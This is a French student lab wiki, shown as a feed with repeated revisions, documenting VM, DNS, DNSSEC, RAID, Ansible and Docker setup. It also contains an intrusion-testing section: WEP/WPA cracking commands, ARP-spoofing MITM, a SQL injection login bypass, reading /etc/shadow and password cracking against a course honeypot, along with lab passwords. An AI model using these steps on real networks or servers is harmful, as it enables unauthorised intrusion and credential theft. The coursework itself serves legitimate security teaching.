La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des containeurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre containeur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55173</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55173"/>
				<updated>2020-12-22T14:33:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Création du conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
